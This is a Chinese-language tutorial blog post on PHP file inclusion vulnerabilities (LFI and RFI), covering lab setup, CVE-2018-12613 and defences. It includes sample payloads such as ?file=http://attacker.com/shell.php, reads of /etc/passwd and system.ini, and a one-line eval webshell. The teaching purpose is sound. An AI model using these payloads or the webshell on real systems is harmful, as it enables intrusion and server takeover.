文件包含漏洞1

一、文件包含漏洞
1. 内容的包含
  • 定义: 将重复使用的内容单独提取到一个文件中,通过include函数引用
  • 目的: 减少重复编码,方便维护更新
  • 示例: 网站导航条、底部版权声明等公共内容
  • 实现方式: 使用PHP的include函数,如<?php include 'footer.php';?>
  • 优势: 修改时只需改动一个文件,所有引用该文件的内容都会自动更新
2. 函数的包含
  • 定义: 将常用函数提取到单独文件中供多个页面调用
  • 目的: 避免函数重复定义,提高代码复用性
  • 典型文件: 通常命名为util.php或functions.php
  • 实现方式: 同样使用include或require函数
  • 与内容包含的区别: 一个封装的是显示内容,一个封装的是功能逻辑
3. 本地文件包含
1)基本概念
  • 英文名: Local File Inclusion (LFI)
  • 别名: 目录遍历漏洞/任意文件访问漏洞
  • 原理: 通过动态包含方式引入文件时未对文件名做校验
  • 危害: 可以访问服务器上的任意文件,包括敏感系统文件
  • 常见函数: PHP中的include、require等
2)四种利用方式
  • 固定文件名包含
    • 特点: 文件名在代码中写死
    • 示例: include 'footer.php'
    • 局限性: 灵活性较差
  • 动态参数包含
    • 特点: 通过GET/POST参数动态指定文件名
    • 示例: $file =$_GET['file']; include("$file");
    • 风险: 未做过滤可能导致安全漏洞
  • 包含恶意代码
    • 方式: 包含图片马或webshell文件
    • 示例: 上传含有一句话木马的图片,通过包含执行
    • 典型场景: 与文件上传漏洞结合利用
  • 包含系统敏感文件
    • 目标文件: /etc/passwd、C:\Windows\system.ini等
    • 危害: 泄露系统敏感信息
    • 防御: 对包含路径进行严格限制和过滤
3)例题:文件包含漏洞演示
  • 题目解析
    • 演示内容: 通过本地文件包含读取系统文件
    • 实现步骤:
      • 构造包含路径?file=C:\Windows\system.ini
      • 系统返回ini文件内容
    • 关键点: 利用未过滤的file参数实现任意文件读取
    • 防御建议: 对包含文件做白名单限制或路径校验
4. 远程文件包含
1)基本概念
  • 定义:远程文件包含漏洞(Remote File Inclusion,RFI)是指攻击者能够包含其他主机的URL地址来执行恶意代码的安全漏洞。
  • 与本地文件包含的区别:本地文件包含只能读取本机文件,而RFI可以读取其他机器的文件。
  • 危害等级:比XXE和SSRF更危险,因为可以直接执行包含的恶意代码。
2)与其他漏洞的对比
  • XXE(XML外部实体注入):
    • 成因:系统使用XML传输数据并允许解析外部实体
    • 危害:访问敏感文件、端口探测、执行系统命令(需操作系统支持)
  • SSRF(服务端请求伪造):
    • 成因:使用curl等函数直接执行链接访问
    • 危害:端口扫描、攻击内网主机、绕过防火墙、内存溢出攻击、访问Redis等
  • RFI:
    • 成因:使用include等函数包含远程文件
    • 危害:任意文件访问、包含shell代码获取权限
3)利用场景
  • 典型场景:当目标存在RFI漏洞但无法直接上传木马时,可将木马放在外网服务器,通过包含远程文件获取权限。
  • 示例:http://target.com/include.php?file=http://attacker.com/shell.txt
4)服务器配置要求
  • 必要配置:
    • allow_url_fopen=On:允许将URL作为文件处理
    • allow_url_include=On:允许include/require打开URL
  • 注意事项:
    • 修改配置后需重启服务器
    • 未配置时靶场会有红色警告提示
    • 配置文件路径通常为php.ini
5)配置验证
  • 验证方法:
    • 查找php.ini文件
    • 确认allow_url_fopen和allow_url_include值为On
    • 重启服务使配置生效
6)实际利用演示
  • 步骤:
    • 在攻击机创建包含恶意代码的文件(如1.txt)
    • 通过RFI漏洞包含该远程文件
    • 获取目标服务器权限
  • 示例代码:
5. 应用案例
1)例题:文件包含漏洞演示
  • 环境搭建:演示使用phpstudy 2016版本在虚拟机中搭建测试环境,由于高版本phpstudy不支持2003系统,需特别注意版本兼容性问题。
  • 漏洞原理:该漏洞源于phpmyadmin的index.php文件(约50行处),通过未充分过滤的$_REQUEST['target']参数实现文件包含。
  • 关键配置:需要设置php.ini中的allow_url_fopen=On和allow_url_include=On才能实现远程文件包含。
  • 测试文件准备:在网站根目录/www/admin/localhost_80/wwwroot放置了三个测试文件:
    • 1.txt:PHP版本信息文件(含<?php phpinfo(); ?>代码)
    • alert.html:JavaScript弹窗测试文件
    • shell.php:一句话木马文件(含@eval($_POST['wuya']))
  • 测试过程:
    • 包含1.txt成功显示PHP版本信息
    • 包含alert.html成功触发JavaScript弹窗
    • 包含shell.php因PHP版本问题未成功执行
  • 漏洞类型:
    • LFI(本地文件包含):通过目录遍历访问系统敏感文件
    • RFI(远程文件包含):通过URL包含远程服务器上的恶意文件
    • 其他相关漏洞:XXE、SSRF等
  • 防御措施:演示中提到的黑名单机制($target_blacklist数组)是常见但不够安全的防御方式,建议采用白名单验证。
  • 环境调试:
    • PHP 5.4.45版本存在兼容性问题
    • 建议在外网服务器(如阿里云CentOS)搭建更稳定的测试环境
    • 安全提示:避免在生产环境存放测试用一句话木马
6. 文件包含漏洞总结
1)典型漏洞案例
  • PHPAdmin漏洞:2018年发现的任意文件包含漏洞(CVE-2018-12613),允许攻击者通过构造特定参数读取服务器文件
  • Tomcat漏洞:2020年Apache Tomcat AJP协议缺陷(CVE-2020-1938),攻击者可读取webapp目录下任意文件
2)漏洞复现方法
  • PHPAdmin复现
    • 验证条件:需满足!in_array($_REQUEST['target'],$target_blacklist)和Core::checkPageValidity($_REQUEST['target'])两个条件
    • 利用方式:通过构造恶意target参数实现文件包含,典型路径如include$_REQUEST['target'];
  • Tomcat复现
    • 影响版本:包括Tomcat 6/7/8/9多个版本,具体为:
      • Apache Tomcat ≤ 6
      • Apache Tomcat 7 < 7.0.100
      • Apache Tomcat 8 < 8.5.51
      • Apache Tomcat 9 < 9.0.31
    • 攻击原理:利用AJP连接器缺陷构造特定参数
3)漏洞统计与分析
  • 漏洞数量:2021年CVE平台收录24个文件包含漏洞
  • 典型案例:
    • Artica Pandora FMS 742远程文件包含(CVE-2021-32100)
    • Kaseya VSA本地文件包含(CVE-2021-30121)
    • WordPress插件路径遍历(CVE-2021-24453)
4)漏洞利用演示
  • 工具使用:通过中国蚁剑等工具实现远程文件包含攻击
  • 攻击流程:构造包含恶意文件的URL参数,如?file=http://attacker.com/shell.php
  • 防御建议:及时更新受影响组件版本,对文件包含参数进行严格过滤
二、知识小结

知识点

核心内容

考试重点/易混淆点

难度系数

文件包含漏洞定义

代码文件包含其他文件时产生的安全漏洞,分为内容包含和函数包含两种类型

区分静态包含与动态包含的实现差异

⭐⭐

内容包含原理

提取公共内容(如页眉页脚)到独立文件实现复用,修改时只需改动单个文件

与模板引擎技术的功能区分

⭐⭐

函数包含原理

将常用函数集中存储在公共文件(如util.php)供多页面调用

与类库引入的调用方式对比

⭐⭐

本地文件包含(LFI)

通过include等函数读取服务器本地文件,可访问/etc/passwd等敏感文件

LFI与目录遍历漏洞的关联性

⭐⭐⭐

远程文件包含(RFI)

包含远程服务器文件执行代码,需allow_url_include配置开启

与XXE/SSRF漏洞的功能对比

⭐⭐⭐⭐

漏洞利用演示

1. 包含固定文件; 2. 动态参数包含; 3. 图片马攻击; 4. 系统文件读取

图片马与文件上传漏洞的联合利用

⭐⭐⭐⭐

防御措施

1. 禁用动态包含; 2. 白名单校验; 3. 关闭allow_url_include

配置修改与代码审计的双重防护

⭐⭐⭐

历史漏洞案例

1. phpMyAdmin任意文件包含(CVE-2018-12613); 2. Tomcat远程文件包含

通用CMS系统的漏洞高发性

⭐⭐⭐⭐

漏洞危害对比

RFI > LFI > XXE/SSRF(执行代码能力差异)

不同漏洞的利用成本评估

⭐⭐⭐⭐

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值